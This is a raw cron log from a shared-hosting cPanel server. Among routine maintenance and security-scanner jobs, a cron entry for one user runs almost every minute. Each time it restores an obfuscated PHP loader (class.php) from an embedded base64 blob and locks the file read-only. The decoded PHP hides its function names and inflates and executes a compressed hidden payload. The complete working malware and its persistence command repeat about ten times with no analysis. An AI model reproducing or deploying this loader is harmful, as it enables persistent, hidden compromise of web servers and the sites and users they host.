Aug 31 15:14:01 server CROND[5562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:15:01 server CROND[5936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:15:01 server CROND[5938]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 15:15:01 server CROND[5939]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:15:01 server CROND[5940]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 15:15:01 server CROND[5946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:15:01 server CROND[5943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:15:01 server CROND[5944]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 15:15:01 server CROND[5945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:16:01 server CROND[6826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:16:01 server CROND[6827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:16:01 server CROND[6829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:17:02 server CROND[7204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:17:02 server CROND[7205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:17:02 server CROND[7207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:18:01 server CROND[7667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:18:01 server CROND[7668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:18:01 server CROND[7669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:19:01 server CROND[8040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:19:01 server CROND[8039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:19:01 server CROND[8041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:20:01 server CROND[8423]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 15:20:01 server CROND[8427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:20:01 server CROND[8428]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 15:20:01 server CROND[8438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:20:01 server CROND[8441]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 15:20:01 server CROND[8442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:20:01 server CROND[8446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:20:01 server CROND[8448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:20:01 server CROND[8439]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 15:21:01 server CROND[9254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:21:01 server CROND[9255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:21:01 server CROND[9257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:22:01 server CROND[9621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:22:01 server CROND[9622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:22:01 server CROND[9623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:23:01 server CROND[9999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:23:01 server CROND[10000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:23:01 server CROND[10001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:24:01 server CROND[10475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:24:01 server CROND[10476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:24:01 server CROND[10477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:25:01 server CROND[10845]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:25:01 server CROND[10847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:25:01 server CROND[10850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:25:01 server CROND[10851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:25:01 server CROND[10848]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 15:25:01 server CROND[10849]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 15:25:01 server CROND[10854]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:26:02 server CROND[11732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:26:02 server CROND[11733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
